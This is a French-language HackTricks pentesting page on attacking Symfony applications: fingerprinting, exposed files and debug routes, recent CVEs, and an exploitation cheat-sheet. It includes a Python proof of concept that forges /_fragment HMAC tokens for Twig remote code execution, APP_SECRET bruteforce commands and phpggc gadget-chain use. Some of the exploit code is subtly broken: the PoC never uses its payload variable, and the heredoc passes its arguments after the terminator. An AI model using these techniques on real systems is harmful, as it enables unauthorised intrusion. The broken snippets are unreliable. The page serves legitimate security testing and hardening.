Symfony

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Symfony est l’un des frameworks PHP les plus utilisés et apparaît régulièrement dans les évaluations des cibles d’entreprise, de commerce électronique et de CMS (Drupal, Shopware, Ibexa, OroCRM… tous intègrent des composants Symfony). Cette page collecte des conseils offensifs, des configurations incorrectes courantes et des vulnérabilités récentes que vous devriez avoir sur votre liste de contrôle lorsque vous découvrez une application Symfony.

Note historique : Une grande partie de l’écosystème utilise encore la branche 5.4 LTS (EOL novembre 2025). Vérifiez toujours la version mineure exacte car de nombreux avis de sécurité de 2023-2025 ne sont corrigés que dans des versions de patch (par exemple, 5.4.46 → 5.4.50).


Recon & Enumeration

Finger-printing

  • En-têtes de réponse HTTP : X-Powered-By: Symfony, X-Debug-Token, X-Debug-Token-Link ou cookies commençant par sf_redirect, sf_session, MOCKSESSID.
  • Les fuites de code source (composer.json, composer.lock, /vendor/…) révèlent souvent la version exacte :
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
  • Routes publiques qui n’existent que sur Symfony :
  • /_profiler (Symfony Profiler & barre d’outils de débogage)
  • /_wdt/<token> (“Web Debug Toolbar”)
  • /_error/{code}.{_format} (pages d’erreur jolies)
  • /app_dev.php, /config.php, /config_dev.php (contrôleurs frontaux de développement pré-4.0)
  • Wappalyzer, BuiltWith ou listes de mots ffuf/feroxbuster : symfony.txt → recherchez /_fragment, /_profiler, .env, .htaccess.

Fichiers et points de terminaison intéressants

CheminPourquoi c’est important
/.env, /.env.local, /.env.prodSouvent mal déployés → fuites APP_SECRET, identifiants DB, SMTP, clés AWS
/.git, .svn, .hgDivulgation de source → identifiants + logique métier
/var/log/*.log, /log/dev.logMauvaise configuration de la racine web expose des traces de pile
/_profilerHistorique complet des requêtes, configuration, conteneur de services, APP_SECRET (≤ 3.4)
/_fragmentPoint d’entrée utilisé par ESI/HInclude. Abus possible une fois que vous connaissez APP_SECRET
/vendor/phpunit/phpunit/phpunitRCE PHPUnit si accessible (CVE-2017-9841)
/index.php/_error/{code}Finger-print & parfois fuite des traces d’exception

Vulnérabilités à fort impact (2023-2025)

1. Divulgation de APP_SECRET ➜ RCE via /_fragment (alias “secret-fragment”)

  • CVE-2019-18889 à l’origine, mais apparaît toujours sur des cibles modernes lorsque le débogage est laissé activé ou que .env est exposé.
  • Une fois que vous connaissez le APP_SECRET de 32 caractères, créez un jeton HMAC et abusez du contrôleur interne render() pour exécuter du Twig arbitraire :
# PoC – nécessite le secret
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}"   # RCE dans Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
  • Excellent article et script d’exploitation : blog Ambionics (lié dans les références).

2. Détournement de processus Windows – CVE-2024-51736

  • Le composant Process recherchait le répertoire de travail actuel avant PATH sur Windows. Un attaquant capable de télécharger tar.exe, cmd.exe, etc. dans une racine web écrivable et de déclencher Process (par exemple, extraction de fichiers, génération de PDF) obtient l’exécution de commandes.
  • Corrigé dans 5.4.50, 6.4.14, 7.1.7.

3. Fixation de session – CVE-2023-46733

  • Le garde d’authentification a réutilisé un ID de session existant après la connexion. Si un attaquant définit le cookie avant que la victime ne s’authentifie, il détourne le compte après la connexion.

4. XSS dans le sandbox Twig – CVE-2023-46734

  • Dans les applications qui exposent des modèles contrôlés par l’utilisateur (CMS admin, constructeur d’e-mails), le filtre nl2br pourrait être abusé pour contourner le sandbox et injecter du JS.

5. Chaînes de gadgets Symfony 1 (toujours trouvées dans des applications héritées)

  • phpggc symfony/1 system id produit une charge utile Phar qui déclenche RCE lorsqu’un unserialize() se produit sur des classes telles que sfNamespacedParameterHolder. Vérifiez les points de terminaison de téléchargement de fichiers et les wrappers phar://.

PHP - Deserialization + Autoload Classes


Exploitation Cheat-Sheet

Calculer le jeton HMAC pour /_fragment

python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs     = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"

Bruteforce faible APP_SECRET

cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target

RCE via exposed Symfony Console

Si bin/console est accessible via php-fpm ou un téléchargement direct en CLI :

php bin/console about        # confirm it works
php bin/console cache:clear --no-warmup

Utilisez des gadgets de désérialisation dans le répertoire de cache ou écrivez un modèle Twig malveillant qui sera exécuté lors de la prochaine requête.


Notes défensives

  1. Ne jamais déployer le débogage (APP_ENV=dev, APP_DEBUG=1) en production ; bloquez /app_dev.php, /_profiler, /_wdt dans la configuration du serveur web.
  2. Stockez les secrets dans des variables d’environnement ou vault/secrets.local.php, jamais dans des fichiers accessibles via le document-root.
  3. Appliquez la gestion des correctifs – abonnez-vous aux avis de sécurité Symfony et maintenez au moins le niveau de correctif LTS.
  4. Si vous utilisez Windows, mettez à jour immédiatement pour atténuer CVE-2024-51736 ou ajoutez une défense en profondeur open_basedir/disable_functions.

Outils offensifs utiles

  • ambionics/symfony-exploits – RCE de fragment secret, découverte de routes de débogage.
  • phpggc – Chaînes de gadgets prêtes à l’emploi pour Symfony 1 & 2.
  • sf-encoder – petit outil pour calculer le HMAC de _fragment (implémentation Go).

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks